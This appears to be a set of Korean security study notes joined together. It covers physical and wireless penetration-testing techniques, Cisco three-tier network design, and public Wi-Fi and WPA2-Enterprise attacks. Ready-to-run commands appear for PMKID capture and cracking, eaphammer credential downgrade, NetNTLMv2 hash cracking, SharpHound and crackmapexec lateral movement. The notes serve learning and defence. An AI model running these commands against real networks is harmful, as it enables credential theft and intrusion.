3.3 GPS 스푸핑 (GPS Spoofing)

  • 대상: 드론, 선박 항법 시스템, GPS 기반 자산 추적 장치
  • 원리: GPS 위성 신호(L1 밴드, 1575.42MHz)와 동일한 형식의 위조 신호를 생성·송출하여 타깃 수신기가 잘못된 위치를 계산하게 만든다.
공격 흐름:
1. HackRF One + GPS-SDR-SIM으로 위조 GPS 신호 생성
2. 실제 위성 신호보다 강한 전력으로 송출 → 타깃 수신기 덮어씌기
3. 드론 강제 착륙 / 선박 경로 이탈 / 자산 추적 회피

3.4 Sub-GHz 프로토콜 역공학 (Reverse Engineering)

  • 대상: 스마트홈 기기, 산업용 센서, 무선 경보 시스템
  • 원리: 독자적 RF 프로토콜을 사용하는 기기의 신호를 SDR로 캡처하고, URH/GNU Radio로 변조 방식(OOK/FSK/GFSK 등)과 비트 인코딩을 역공학하여 커스텀 명령 패킷을 생성한다.
공격 흐름:
1. RTL-SDR로 대역 스캔 → 타깃 주파수 확인
2. HackRF One으로 정밀 캡처 (IQ 샘플 수집)
3. URH로 변조 방식 자동 감지 및 디코딩
4. 프로토콜 구조 파악 → 커스텀 명령 패킷 생성·전송

4. Wi-Fi 네트워크 공격

기업 무선 인프라는 물리적 침투와 결합될 때 강력한 공격 벡터가 된다.

4.1 Evil Twin / Rogue AP 공격

  • 대상: 기업 또는 공용 Wi-Fi 사용자
  • 원리: 정상 AP와 동일한 SSID를 가진 가짜 AP를 더 강한 신호로 구동하여 클라이언트를 유인하고, 모든 트래픽을 가로채는 중간자 공격(MITM) 을 수행한다.
단계 동작 도구
1. 정찰 타깃 AP의 SSID, BSSID, 채널, 보안 방식 수집 airodump-ng, WiFi Pineapple
2. AP 생성 동일 SSID로 Rogue AP 구동 (더 강한 신호) WiFi Pineapple, hostapd
3. 강제 연결 정상 AP에 Deauth 패킷 전송 → 클라이언트 재연결 유도 aireplay-ng
4. MITM 연결된 클라이언트의 HTTP 트래픽 가로채기 Wireshark, Bettercap
5. HTTPS 다운그레이드 SSLstrip으로 HTTPS를 HTTP로 강제 다운그레이드 SSLstrip, Bettercap

4.2 WPA2 PMKID 공격 (2018년 이후 주류)

  • 원리: 클라이언트 연결을 기다리지 않고 AP로부터 PMKID를 직접 수집하여 오프라인 딕셔너리/브루트포스 공격을 수행한다. 기존 4-Way Handshake 캡처 방식보다 훨씬 빠르다.
# 1. 인터페이스 모니터 모드 활성화
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# 2. AP에서 PMKID 수집 (클라이언트 연결 불필요)
hcxdumptool -i wlan0 -w capture.pcapng --enable_status=1

# 3. hashcat 포맷으로 변환 (-o 옵션이 먼저, 입력 파일이 뒤)
hcxpcapngtool -o hash.hc22000 capture.pcapng

# 4. GPU 기반 오프라인 크래킹 (hashcat -m 22000)
hashcat -m 22000 hash.hc22000 wordlist.txt

# ※ 구 포맷(-m 2500, .hccapx)은 폐기됨. 반드시 -m 22000 사용

ℹ️ 조건: 약한 패스워드(8자리 이하, 사전어 기반) 환경에서 효과적이다. 강한 랜덤 패스워드에는 현실적으로 불가하다.


4.3 WPA3 및 최신 방어 우회 동향

WPA3는 SAE(Simultaneous Authentication of Equals) 핸드셰이크로 기존 PMKID/4-Way Handshake 공격을 원천 차단한다. 현재 실무에서는 WPA3를 직접 공격하기보다 다음 우회 경로가 더 효과적이다.

  • Transition Mode 다운그레이드: WPA3/WPA2 혼합 모드 세팅 시 WPA2로 강제 다운그레이드 유도
  • Dragonblood 취약점: 패치 전 구형 펌웨어에서 SAE 핸드셰이크 결함 악용
  • 소셜 엔지니어링: 클라이언트 측에서 자격 증명 직접 탈취 (Evil Twin 캡티브 포털 활용)

5. BadUSB / 물리적 HID 인젝션 공격

악성 USB 기기를 키보드(HID)로 위장시켜 타깃 시스템에 미리 프로그래밍된 키 입력을 자동으로 주입하는 기법이다. OS가 키보드 입력으로 신뢰하므로 대부분의 보안 소프트웨어를 우회한다.

5.1 O.MG Cable

외형은 일반 충전 케이블과 완전히 동일하지만, 내부에 초소형 Wi-Fi 서버가 내장되어 있다. 타깃 PC 연결 순간 키보드로 인식되며, 공격자는 Wi-Fi로 원격에서 페이로드를 주입한다.

단계 설명
1. 배치 타깃 책상의 기존 케이블과 교체 또는 "선물" 형태로 제공
2. 연결 타깃이 PC에 연결 → OS가 키보드(HID)로 자동 인식
3. 원격 제어 공격자가 O.MG 내장 Wi-Fi에 연결 → 웹 인터페이스 접근
4. 페이로드 실행 PowerShell/Bash로 리버스 셸, 백도어, 자격 증명 탈취 스크립트 주입
5. 흔적 제거 히스토리 삭제, 케이블 회수

5.2 USB Rubber Ducky

DuckyScript 언어로 작성된 페이로드를 수천 타/초 속도로 주입한다. USB 드라이브 형태이며 연결 즉시 자동 실행된다.

주요 페이로드 시나리오:
- 관리자 권한 PowerShell 실행 (UAC 우회 포함)
- LSASS 메모리 덤프 → 자격 증명 추출 (Mimikatz)
- 원격 접속 백도어 설치 (Netcat, Metasploit Meterpreter)
- 시스템 정보 수집 → C2 서버로 자동 전송

6. IoT / 임베디드 하드웨어 해킹

IoT 기기는 소프트웨어 취약점 외에도 하드웨어 인터페이스를 통한 펌웨어 추출·분석이 핵심 공격 방법이다.

6.1 UART 디버그 쉘 탈취

많은 IoT 기기 PCB에는 제조 과정에서 사용된 UART 디버그 포트가 그대로 노출되어 있다. 이를 통해 루트 셸을 획득할 수 있다.

단계 동작 도구
1. 포트 탐색 PCB에서 TX/RX/GND 핀 위치 식별 JTAGulator, 멀티미터
2. 전압 확인 3.3V 또는 5V 레벨 측정 → 적절한 레벨 시프터 연결 멀티미터, Bus Pirate 5
3. 보드레이트 탐지 9600 / 115200 등 일반 보드레이트 자동 탐색 Bus Pirate 5
4. 콘솔 접속 시리얼 터미널 연결 minicom, screen
5. 루트 쉘 획득 U-Boot 카운트다운 중 키 입력으로 부트로더 인터럽트, 또는 로그인 우회 수동

6.2 SPI/I2C 플래시 메모리 덤프

UART 쉘이 비활성화된 경우, PCB의 SPI/I2C 플래시 칩에 직접 접속하여 펌웨어를 추출한다.

# Bus Pirate 5 또는 CH341A를 SPI 플래시 칩에 연결
# flashrom으로 전체 플래시 덤프
flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r firmware_dump.bin

# binwalk으로 구조 분석 (파일시스템, 설정 파일, 하드코딩 자격 증명 추출)
binwalk -e firmware_dump.bin

# Ghidra 또는 IDA Pro로 바이너리 역공학

6.3 JTAG을 통한 펌웨어 디버깅

JTAG은 반도체 테스트용 표준 인터페이스이지만, 많은 기기에서 비활성화되지 않아 메모리 읽기/쓰기, 브레이크포인트 설정 등 전 레벨 제어가 가능하다.

공격 흐름:
1. JTAGulator로 PCB에서 JTAG 핀 자동 탐색 (TCK/TMS/TDI/TDO/TRST)
2. OpenOCD + Bus Pirate 5로 JTAG 연결
3. GDB 원격 디버깅으로 실시간 메모리 분석
4. 암호화 키, 세션 토큰 등 런타임 메모리에서 민감 데이터 추출

7. 실전 공격 체인 시나리오

실제 물리적 모의해킹에서는 단일 기법이 아닌 여러 벡터를 조합한 공격 체인이 사용된다.

시나리오 A: 기업 사무실 침투

[1. 정찰]
  건물 외부 배회 → Wi-Fi SSID 수집, 사원증 유형 파악 (HID/MIFARE 로고)
        ↓
[2. 카드 스캔]
  커피숍·엘리베이터에서 타깃 직원 근접 → Proxmark3 슬리브 안테나로 RFID 스캔
        ↓
[3. PRNG 탐지 및 키 크래킹]
  hf search로 PRNG 유형 확인 → WEAK: autopwn / HARDENED: Reader Attack
        ↓
[4. 에뮬레이션 준비]
  덤프 파일을 BLE로 ChameleonUltra 슬롯에 로드
        ↓
[5. 침투]
  직원 출입증으로 위장하여 건물 내부 진입, 다중 슬롯으로 여러 구역 접근
        ↓
[6. 내부 공격]
  빈 PC에 O.MG Cable 연결 / 내부 Wi-Fi에 Rogue AP 구동
        ↓
[7. 보고]
  취약점 경로 문서화 및 권고사항 작성

시나리오 B: 산업시설 IoT 취약점 평가

[1. RF 정찰]
  HackRF One + RTL-SDR로 산업용 ISM 대역 스캔
        ↓
[2. 프로토콜 역공학]
  URH / GNU Radio로 알 수 없는 산업 프로토콜 신호 분석
        ↓
[3. 기기 접근]
  JTAGulator로 PLC/RTU 장치 UART/JTAG 포트 탐색
        ↓
[4. 펌웨어 추출]
  Bus Pirate 5 + flashrom으로 SPI 플래시 덤프
        ↓
[5. 취약점 분석]
  binwalk으로 파일시스템 추출 → 하드코딩 자격 증명, 취약 API 분석
        ↓
[6. 보고]
  취약점 및 영향도 평가

 Cisco 3-Tier Hierarchy 기반

1. 핵심

규모가 커질수록 계층으로 나눠야 관리·효율·보안이 된다

Cisco가 정립한 3-Tier Hierarchy가 현재 기업 네트워크 설계의 표준.

왜 계층이 필요한가?

문제 계층 없을 때 계층 있을 때
장애 전파 한 곳 문제 → 전체 영향 해당 계층만 영향
트래픽 관리 모든 장비가 모든 트래픽 처리 계층마다 역할 분리
보안 정책 일괄 적용 불가 구간마다 다른 정책
확장성 장비 추가 시 전체 재설계 해당 계층만 확장

 

2. 3계층 구조 전체 그림

핵심 포인트: 보안 처리는 Core Layer가 아니라 그 앞단의 "Internet Edge"에서 담당한다.
Core는 최대한 단순하게 유지하는 것이 Cisco 공식 원칙.

 

3. Access Layer (접근 계층)

역할

  • 직원 PC, 프린터, IP폰, IoT 단말이 처음 네트워크에 연결되는 지점
  • "내 PC가 회사 네트워크에 붙는다" = Access Layer에 연결되는 것

주요 장비

장비 역할
L2 스위치 같은 VLAN 내 단말끼리 연결
무선 AP Wi-Fi 단말 연결
IP폰 스위치 VoIP 단말 연결

여기서 작동하는 보안 기술

NAC (Network Access Control)
  → 인증 안 된 단말은 연결 자체를 차단
  → 802.1X 포트 기반 인증
  → 백신 설치 여부, 패치 상태 검사

포트 보안 (Port Security)
  → 특정 MAC 주소만 허용
  → 허가되지 않은 단말 연결 시 포트 차단

VLAN 분리
  → 개발팀, 인사팀, 재무팀 트래픽을 논리적으로 완전 분리
  → 같은 물리적 스위치라도 부서 간 직접 통신 불가

Access Layer의 핵심

PC가 스위치 포트에 케이블 꽂는 순간부터 NAC가 인증을 요구한다.
인증 통과 전에는 인터넷도, 내부망도 모두 차단.

 

4. Distribution Layer (분배 계층)

역할

  • Access Layer에서 올라온 트래픽을 집계하고 Core로 전달
  • 부서 간, 지점 간 라우팅 처리
  • "스마트 레이어" — 네트워크 정책 대부분이 여기서 적용됨 (Cisco 공식 표현)

주요 장비

장비 역할
L3 스위치 VLAN 간 라우팅 (inter-VLAN routing)
분배 라우터 WAN 연결, 경로 결정
지점 방화벽 지점 단위 보안 정책 적용

여기서 작동하는 기술

VLAN 간 라우팅 (Inter-VLAN Routing)
  → 개발팀(VLAN 10)이 인사팀(VLAN 20)에 접근할 때
  → L3 스위치가 라우팅 허용/차단 정책 적용

ACL (Access Control List)
  → "개발팀은 DB 서버 직접 접근 가능"
  → "일반 직원은 서버팜 접근 불가"

지점 프록시 (로컬 캐시)
  → 자주 쓰는 파일 캐시 저장
  → WAN 회선 트래픽 절감
  → 지점 특화 사이트 차단 정책

QoS (Quality of Service)
  → 화상회의 트래픽 우선순위 높임
  → 파일 다운로드는 낮은 우선순위

Distribution Layer의 핵심

VLAN으로 분리된 부서들이 "필요한 것만" 서로 통신하도록 제어.
WAN 회선 사용량을 최적화하는 로컬 캐시/프록시가 여기 위치.

 

5. Core Layer (코어/백본 계층)

역할

  • 전사 모든 트래픽이 거쳐가는 초고속 고속도로
  • 핵심 원칙: 최대한 단순하게, 빠른 전달만 (Cisco 공식 권고)
  • 복잡한 보안 처리, ACL, QoS 분류 등은 Core에서 하지 않는 것이 원칙

주요 장비

장비 역할
코어 라우터 고속 라우팅, BGP/OSPF 운용
코어 스위치 초고속 L3 스위칭 (10G/40G/100G)

Core Layer의 원칙 (Cisco 공식)

✅ 해야 할 것:
  - 고속 패킷 전달 (스위칭)
  - 이중화 / 고가용성 유지
  - 장애 격리

❌ 하지 말아야 할 것:
  - CPU 집약적 패킷 검사 (보안 필터링)
  - 복잡한 ACL 적용
  - QoS 분류 처리
  - 보안 인스펙션

Core가 죽으면 회사 전체 통신이 마비되기 때문에
단순하고 빠른 구성을 유지해 장애 가능성 자체를 최소화하는 것이 설계 원칙.

 

6. Internet Edge — 핵심 보안 구간

역할

  • Core Layer와 인터넷 사이에 위치하는 별도의 보안 구간
  • 실제 기업에서 모든 인터넷 보안 처리가 일어나는 곳
  • Core가 처리하지 않는 CPU 집약적 보안 작업을 전담

주요 장비 및 솔루션

솔루션 역할
NGFW (차세대 방화벽) 애플리케이션 레벨 제어, 사용자 기반 정책
IPS 침입 탐지 및 차단
업스트림 프록시 SSL Inspection, 전사 URL 필터링, DLP
DDoS 방어 장비 대량 공격 트래픽 차단

Internet Edge의 핵심

[Core] → [Internet Edge] → [인터넷]
              ↑
  여기서 모든 보안 처리 집중:
  - HTTPS 복호화 (SSL Inspection)
  - 악성 사이트 차단
  - 데이터 유출 방지 (DLP)
  - 침입 탐지/차단 (IPS)
  - 애플리케이션 레벨 제어 (NGFW)

 

 

7. 각 구간별 보안 솔루션 배치

 

8. 백본(Backbone)

정의

각기 다른 LAN이나 부분망 간에 정보를 교환하기 위한 공통 경로를 제공하는 망

비유 — 지하철 환승역

2호선 ──┐
3호선 ──┤──▶ [ 환승역 = 백본 ] ──▶ 어디든 갈 수 있음
4호선 ──┘

각 LAN이 직접 연결하면:
  N개 LAN → N×(N-1)/2 개의 연결선 필요 (폭발적 증가)

백본을 거치면:
  N개 LAN → 각자 백본에만 연결 = N개 연결선으로 끝

백본의 스케일별 분류

1단계: 사내 백본
  건물 내 부서망들을 연결하는 코어 스위치/라우터

2단계: 캠퍼스 백본
  여러 건물을 연결하는 고속 광케이블 링

3단계: WAN 백본
  지점~본사를 연결하는 전용선/VPN

4단계: ISP 백본
  통신사(KT, SKT 등)의 국가급 고속망

5단계: 인터넷 백본 (IX)
  ISP끼리 연결되는 인터넷 교환소(KINX 등)

백본의 특징

  • 고속·고대역폭: 10G/40G/100G 이상
  • 이중화 필수: 백본 장애 = 전체 통신 마비 → OSPF, VRRP 등으로 이중화
  • 단순하게 유지: 빠른 전달만, 복잡한 처리 배제

 

9. 실제 트래픽 흐름 — 단계별

시나리오: 직원 PC에서 외부 웹사이트 접속

① [직원 PC] 웹사이트 접속 시도
   └─ 브라우저가 PAC 파일 실행
      → "이 URL은 프록시 경유" 판단

② [Access Layer - L2 스위치]
   └─ 이미 NAC 인증 완료된 상태
   └─ 단순 패킷 전달 (MAC 주소 기반)

③ [Distribution Layer - L3 스위치]
   └─ VLAN 라우팅: 내 부서 VLAN → 프록시 서버 VLAN
   └─ ACL 확인: 이 트래픽 허용?
   └─ 지점 프록시로 전달

④ [지점 프록시 - Distribution Layer]
   └─ 캐시 확인: 있으면 바로 반환 (인터넷 안 나감)
   └─ 없으면 Internet Edge 업스트림 프록시로 포워딩

⑤ [Core Layer]
   └─ 단순 고속 전달만 (검사 없음)

⑥ [Internet Edge - 업스트림 프록시]
   └─ SSL Inspection 실행 (HTTPS 복호화)
   └─ 전사 보안 정책 확인
      → 차단 사이트? → 403 반환
      → 허용? → 다음 단계
   └─ 로그 기록 (누가, 언제, 어디에 접속)

⑦ [Internet Edge - NGFW / IPS]
   └─ 애플리케이션 레벨 검사
   └─ 외부 인터넷으로 패킷 전달

⑧ [인터넷 → 목적지 서버]
   └─ 응답이 역순으로 돌아옴

 

10. 규모별 네트워크 구조 비교

소규모 (직원 50명 이하)

[PC들] → [스위치] → [공유기/방화벽] → [인터넷]

- 계층 구분 없음 (1-Tier 또는 Flat)
- 방화벽이 Internet Edge 역할까지 겸임
- 프록시 없거나 1개

중규모 (직원 200~1000명, 단일 사무실)

[PC들] → [Access 스위치] → [L3 스위치]
       → [방화벽+프록시 (Internet Edge)] → [인터넷]

- Access + Core 2계층 (Collapsed Core)
- VLAN으로 부서 분리 시작
- Internet Edge에 방화벽+프록시 통합

대규모 (직원 1000명 이상, 지점 있음)

[PC] → [Access SW] → [Distribution SW + 지점프록시]
     → [Core 라우터] → [Internet Edge: NGFW + 업스트림프록시 + IPS]
     → [인터넷]

- 완전한 3계층 구조
- Internet Edge 별도 구간으로 분리
- SIEM으로 전체 로그 통합

엔터프라이즈 (금융, 통신사급)

[PC] → [NAC+802.1X] → [Access] → [Distribution + 지점FW]
     → [WAN/MPLS] → [Core] → [Internet Edge: NGFW+IPS+프록시+DDoS]
     → [DMZ] → [인터넷]

- NAC 필수 (금융감독원 등 컴플라이언스 요건)
- MPLS 전용 회선
- DMZ 구간 별도 운용
- SIEM + SOC (보안관제센터)

 

11. 프록시와의 연결 — 다음 공부 준비

각 구간과 프록시의 관계

Access Layer
  └─ NAC: "이 단말 네트워크 써도 돼?"

Distribution Layer
  └─ 지점 프록시: "자주 쓰는 건 여기서 캐시, 아니면 위로"

Core Layer
  └─ 단순 전달만 (프록시 없음)

Internet Edge
  └─ 업스트림 프록시: "인터넷 나가기 전 최종 검문소"
                      SSL Inspection, 전사 정책, DLP

프록시 공부할 때 기억할 것

개념 위치 역할
PAC 파일 클라이언트(Access) 어느 프록시로 갈지 결정
지점 프록시 Distribution 로컬 캐시, 1차 정책
업스트림 프록시 Internet Edge SSL Inspection, 전사 정책
WPAD DHCP/DNS (인프라) PAC 파일 자동 배포

핵심

프록시는 독립된 장비가 아니라 네트워크 구간 구조 안에 녹아있는 요소다.

  • 지점 프록시 = Distribution Layer의 캐시/정책 역할
  • 업스트림 프록시 = Internet Edge의 인터넷 출구 보안 역할

구간 구조를 이해하면 "왜 프록시를 이렇게 배치하는가"가 자연스럽게 이해된다.


핵심 용어 정리

용어 설명
3-Tier Hierarchy Cisco가 정립한 Core/Distribution/Access 3계층 네트워크 설계
L2 스위치 MAC 주소 기반 전달, 같은 VLAN 내 통신
L3 스위치 IP 주소 기반 라우팅, VLAN 간 통신
VLAN 물리적 구분 없이 논리적으로 네트워크 분리
NAC 단말이 네트워크 접근 전 인증/보안검사 수행
백본 여러 LAN을 연결하는 고속 공통 경로
Internet Edge Core와 인터넷 사이의 보안 처리 전담 구간
NGFW 애플리케이션/사용자 레벨까지 제어하는 차세대 방화벽
IPS 알려진 공격 패턴을 실시간 탐지·차단
업스트림 프록시 하위 프록시가 인터넷 나가기 전 거치는 상위 프록시
SSL Inspection HTTPS 트래픽을 복호화해서 내용 검사
DLP 민감 데이터의 외부 유출 탐지·차단
SIEM 전체 구간 로그를 수집·분석하는 통합 보안 플랫폼
Collapsed Core Distribution + Core를 하나의 장비로 통합한 2계층 구조

계기

"어차피 HTTPS 쓰면 내용은 못 보니까, 공개 와이파이 위험하다는 건 그냥 DNS 바꿔서 피싱 유도하는 거 아닌가? 그거 말고는 별로 없지 않나?"

 

이 생각이 맞는지 파고들었다. 결론부터 말하면 부분적으로 맞고, 크게 틀렸다.

 

기존 생각 실제 구조
HTTPS 쓰면 내용 못 보니까 안전하다 내용은 보호되지만 나머지 공격은 여전히 가능하다
DNS만 바꾸면 피싱 유도 끝 아닌가 ARP Spoofing → MitM → SSL Strip / 쿠키 탈취 등 연계 공격 가능

 

HTTPS가 보호하는 것은 전송 중인 데이터의 내용(Payload) 뿐이다. 공개 와이파이 공격의 대부분은 내용 도청이 아닌 다른 경로로 이루어진다.


HTTPS가 실제로 막는 것

TLS 암호화로 보호되는 것들: 로그인 폼의 ID/PW, 카드번호, 개인정보 등 입력값, HTTPS API 응답 내용

HTTPS가 못 막는 것

[SNI 노출]
TLS 핸드셰이크 중 접속 도메인이 평문으로 전송됨
→ 내용은 몰라도 "저 사람 지금 hospital.kr 접속함" 은 보임
→ 행동 패턴, 업무 파악 가능

[SSL Strip]
HSTS 미적용 사이트는 HTTPS → HTTP 다운그레이드 공격에 취약
MitM 상태에서 암호화 구간 자체를 제거

[세션 쿠키 탈취]
Secure 플래그 없는 쿠키 → HTTP 요청 시 평문 전송
→ 쿠키 하나로 비밀번호 없이 계정 접근 가능

[HTTPS 피싱]
Let's Encrypt로 피싱 사이트도 HTTPS + 자물쇠 적용 가능
nаver.com (키릴 문자 'а') 같은 도메인도 자물쇠 뜨지만 피싱

[디바이스 직접 공격]
같은 LAN = 방화벽 없음, 직접 통신 가능
→ HTTPS와 완전 무관한 공격 경로

[앱 내부 HTTP 통신]
브라우저는 HTTPS지만 앱이 내부 API를 HTTP로 호출하는 경우 존재


공개 와이파이 공격 유형 정리

공격 유형 필요 조건 HTTPS 방어 실제 피해
ARP Spoofing 같은 망 X 모든 트래픽 중간 차단
Evil Twin 근처에 있으면 됨 X 크리덴셜 탈취, 피싱
KARMA / MANA 근처에 있으면 됨 X 사용자 액션 없이 자동 연결
DNS Spoofing AP 제어 or MitM X 피싱 사이트로 이동
SSL Strip MitM 성립 후 HSTS 없으면 뚫림 HTTP 다운그레이드 후 도청
세션 쿠키 탈취 Secure 플래그 없는 쿠키 플래그 따라 다름 로그인 없이 계정 접근
HTTPS 피싱 DNS 제어 X (자물쇠도 뜸) 크리덴셜 탈취
Passive Sniffing Open Network O HTTP 평문 사이트만 위험
디바이스 직접 공격 같은 망 무관 파일 탈취, 악성코드 설치
WPA2-Enterprise 크랙 기업 WiFi 근처 무관 도메인 AD 크리덴셜 탈취

주요 공격 상세

1. ARP Spoofing — MitM의 기반

같은 네트워크 안에서 게이트웨이(공유기) MAC 주소를 사칭. 피해자의 모든 트래픽이 공격자 장비를 거쳐가게 만드는 대부분 MitM 공격의 출발점.

  • 도구: arpspoof, Bettercap
  • 같은 LAN에 있으면 실행 가능
  • HTTPS 여부와 무관하게 트래픽 경로 자체를 가로챔

2. Evil Twin + Deauth — 가짜 AP 공격

정상 AP와 동일한 SSID로 더 강한 신호의 가짜 AP를 만들고, Deauth 패킷으로 피해자를 정상 AP에서 강제 연결 해제시킨 뒤 가짜 AP로 유도.

  • 802.11 Deauthentication 프레임은 암호화되지 않아 스푸핑 가능
  • Captive Portal(가짜 로그인 페이지)로 크리덴셜 탈취
  • 도구: aircrack-ng, Wifiphisher, Airgeddon

3. KARMA / MANA — 자동 연결 공격

일반 Evil Twin보다 한 단계 위. 디바이스가 브로드캐스트로 뿌리는 Probe Request(과거 접속한 AP 목록 탐색)에 응답해서 사용자 액션 없이 자동 연결을 유도.

피해자 디바이스 → 브로드캐스트: "attwifi, Starbucks, 공항WiFi 있어?"
↓
KARMA AP → "응 나야!" 하고 전부 응답
↓
피해자 기기 자동 연결 (사용자가 아무것도 안 해도)
↓
MitM 완성 → 이후 다양한 공격 연계 가능
  • 과거에 Open WiFi에 한 번이라도 접속했던 모든 기기가 잠재적 피해자
  • 도구: eaphammer, hostapd-wpe (KARMA 모드)

4. 세션 하이재킹 — 쿠키 탈취

로그인 후 발급되는 세션 쿠키를 탈취해서 비밀번호 없이 계정 접근. 2010년 Firesheep 사건으로 유명해진 공격.

  • Secure 플래그 없는 쿠키 → HTTP 요청 시 평문 전송됨
  • MitM 상태에서 쿠키 가로채 브라우저에 복붙 → 즉시 로그인
  • Firesheep: Firefox 플러그인 하나로 버튼 클릭만에 Facebook/Twitter 계정 탈취

5. WPA2-Enterprise 크리덴셜 탈취 — 기업 환경 핵심

기업 직원 대상에서 가장 크리티컬한 공격. 도메인 AD 계정을 직접 탈취할 수 있어 내부망 침투로 이어진다.

① 회사 WiFi SSID 동일한 가짜 AP 설치 (eaphammer / hostapd-wpe)
② 직원 노트북이 가짜 AP에 연결 시도
③ EAP 인증 과정에서 MSCHAPv2 해시 캡처
④ hashcat / asleap 으로 오프라인 크랙
⑤ 크랙된 크리덴셜 = AD 도메인 계정
⑥ VPN 로그인 → 내부망 침투
  • EAP-GTC 다운그레이드 공격으로 평문 크리덴셜까지 탈취 가능
  • 크리덴셜 하나 = 레드팀이 몇 주 걸릴 작업을 단번에 달성

실제 공격 연계 흐름

실제 공격에서는 단일 기법보다 여러 기법이 연계되는 시나리오가 훨씬 많다.

Step 1. Evil Twin AP 설치 — SSID 동일, 신호 더 강하게
↓
Step 2. Deauth 공격으로 정상 AP에서 피해자 강제 연결 해제
↓
Step 3. 피해자 가짜 AP에 자동 접속
↓
Step 4. ARP Spoofing으로 MitM 완성
↓
Step 5.
  a. DNS 응답 변조 → 피싱 사이트 유도 → 크리덴셜 탈취
  b. SSL Strip → HTTP 평문 도청 + 쿠키 탈취
  c. WPA2-Enterprise 해시 캡처 → 오프라인 크랙 → AD 계정 탈취

실제로 누가 타겟인가

공격 대상에 따라 위험도가 완전히 달라진다.

위험도 낮음 — 일반인 + 대형 사이트
구글, 네이버, 카카오, 은행 등은 HSTS Preload, Secure 쿠키, Certificate Pinning 적용. 단순 공격으로는 실질적 피해 주기 어려움. 결국 피싱 페이지에 직접 입력하게 유도하는 것 외에 현실적 수단이 없음.

위험도 매우 높음 — 기업 직원 (AD 도메인 사용)
도메인 크리덴셜 하나 = VPN → 내부망 → 횡적 이동 → DB, 재무 정보, 고객 데이터 → 랜섬웨어. 개인 피해가 아니라 회사 전체 피해. 실제 레드팀에서 반복적으로 재현되는 시나리오.

공격자는 공항, 컨퍼런스장, 코워킹 스페이스처럼 비즈니스 유저가 밀집한 곳을 노린다. 회사 WiFi SSID가 저장된 노트북에 KARMA 공격을 걸면 사용자가 아무것도 안 해도 자동 연결된다.

일반인 계정 탈취
→ 피해 범위 = 개인

기업 직원 도메인 크리덴셜 탈취
→ VPN → 내부망 → Lateral Movement → 랜섬웨어
→ 피해 범위 = 회사 전체

핵심 방어 방법

  • VPN 필수 → MitM 계열 공격 대부분 무력화
  • 인증서 경고 절대 무시 금지 → HTTPS 프록시 공격 방어
  • URL 직접 확인 → IDN 호모그래프, 피싱 방어
  • 저장된 Open WiFi 삭제 → KARMA 공격 방어
  • 윈도우 네트워크 위치 → "공용" 설정 → 디바이스 직접 공격 방어
  • 기업 환경: EAP-TLS + 인증서 검증 강제 → WPA2-Enterprise 공격 방어

WPA2-Enterprise가 AD 환경에서 왜 위험한가


1. WPA2-Enterprise 인증 구조 이해

일반 가정용 WiFi와 기업 WiFi의 차이부터 봐야 한다.

일반 WiFi (WPA2-Personal)

연결 시도 → PSK(사전 공유 키) 일치 여부 확인 → 연결

비밀번호 하나를 모든 직원이 공유하는 구조. 퇴사자가 생겨도 비밀번호 안 바꾸면 계속 접속 가능.

기업 WiFi (WPA2-Enterprise)

연결 시도
↓
AP → RADIUS 서버로 인증 요청 전달
↓
RADIUS 서버 → Active Directory 계정 검증
↓
AD가 "이 계정 유효함" 확인 → 연결 허가

핵심은 WiFi 인증 = AD 도메인 계정 인증이라는 것. 별도 WiFi 비밀번호가 없고 corp\홍길동 / 사번패스워드로 WiFi에 붙는 구조다.


2. EAP 인증 과정과 해시 캡처

WPA2-Enterprise에서 주로 쓰이는 인증 방식이 EAP-PEAP(MSCHAPv2) 인데, 가짜 AP 앞에서 이 인증 과정이 어떻게 흘러가는지 보면 된다.

정상 인증 흐름

클라이언트 → AP → RADIUS → AD
    ←────────────────── 챌린지 값 전달
클라이언트: NT 해시(패스워드) 기반으로 응답값 계산
    ──────────────────→ 응답값 전송
RADIUS → AD: 검증
    ←────────────────── 인증 성공/실패

가짜 AP 공격 시

클라이언트 → 가짜 AP: "인증할게요"
가짜 AP → 클라이언트: 챌린지 값 전달 (공격자가 생성)
클라이언트 → 가짜 AP: NT 해시 기반 응답값 전송
                       ↑ 이걸 캡처 (NetNTLMv2 해시)

클라이언트는 가짜 AP인지 모르고 정상적으로 응답값을 보냄. 공격자는 이 응답값을 오프라인에서 크랙한다.

eaphammer로 캡처하면 이런 형태로 나옴

CORP\홍길동::CORP:aabbccddeeff0011:A1B2C3D4E5F60718293A4B5C:
0101000000000000C0653150DE0D0201A979FB1CC3020000000000000

이게 NetNTLMv2 해시. hashcat으로 오프라인 크랙.

hashcat -m 5600 captured.txt wordlist.txt --rules-file best64.rule

기업 패스워드 정책이 약하면(8자리 + 숫자 조합 정도) 수 분~수 시간 내 크랙됨.


3. EAP-GTC 다운그레이드 — 해시도 필요 없는 경우

eaphammer가 지원하는 GTC(Generic Token Card) 다운그레이드 공격을 쓰면 해시 크랙도 필요 없다.

공격자 가짜 AP가 EAP-GTC 방식으로 인증 요청
↓
iOS, macOS, 일부 Android 기기: 자동으로 GTC 방식 수락
↓
클라이언트가 패스워드를 평문으로 전송
↓
공격자: 평문 패스워드 즉시 획득

크랙 과정 없이 바로 평문이 나온다.

./eaphammer -i wlan0 --channel 6 \
  --auth wpa-eap \
  --essid CorpWifi \
  --creds \
  --negotiate gtc-downgrade

4. 탈취 후 — 내부망 침투 단계

여기서부터가 실제로 위험한 이유다. 단순히 WiFi 재접속이 목적이 아니다.

4-1. VPN 진입

대부분의 기업 VPN은 AD 계정으로 인증한다.

탈취한 크리덴셜: corp\홍길동 / P@ssw0rd123

→ GlobalProtect, Cisco AnyConnect, Pulse Secure 등
→ AD 계정으로 VPN 로그인
→ 내부망 진입 성공

4-2. 내부망에서 정찰

# 도메인 정보 수집
net user /domain
net group "Domain Admins" /domain

# BloodHound로 AD 구조 시각화 (권한 상승 경로 자동 분석)
SharpHound.exe --CollectionMethod All

BloodHound는 AD 내 모든 계정, 그룹, ACL, 세션 정보를 수집해서 Domain Admin까지 가는 최단 경로를 그래프로 보여준다.

4-3. Lateral Movement

같은 패스워드를 여러 계정에 재사용하는 경우가 많다. 또는 현재 계정이 로컬 관리자 권한을 가진 PC가 있을 수 있다.

# CrackMapExec으로 내부망 전체 계정 사용 가능 여부 확인
crackmapexec smb 10.0.0.0/24 -u 홍길동 -p P@ssw0rd123

# 결과 예시
SMB  10.0.0.5   445  PC-001  [+] CORP\홍길동:P@ssw0rd123 (Pwn3d!)
SMB  10.0.0.12  445  PC-007  [+] CORP\홍길동:P@ssw0rd123 (Pwn3d!)
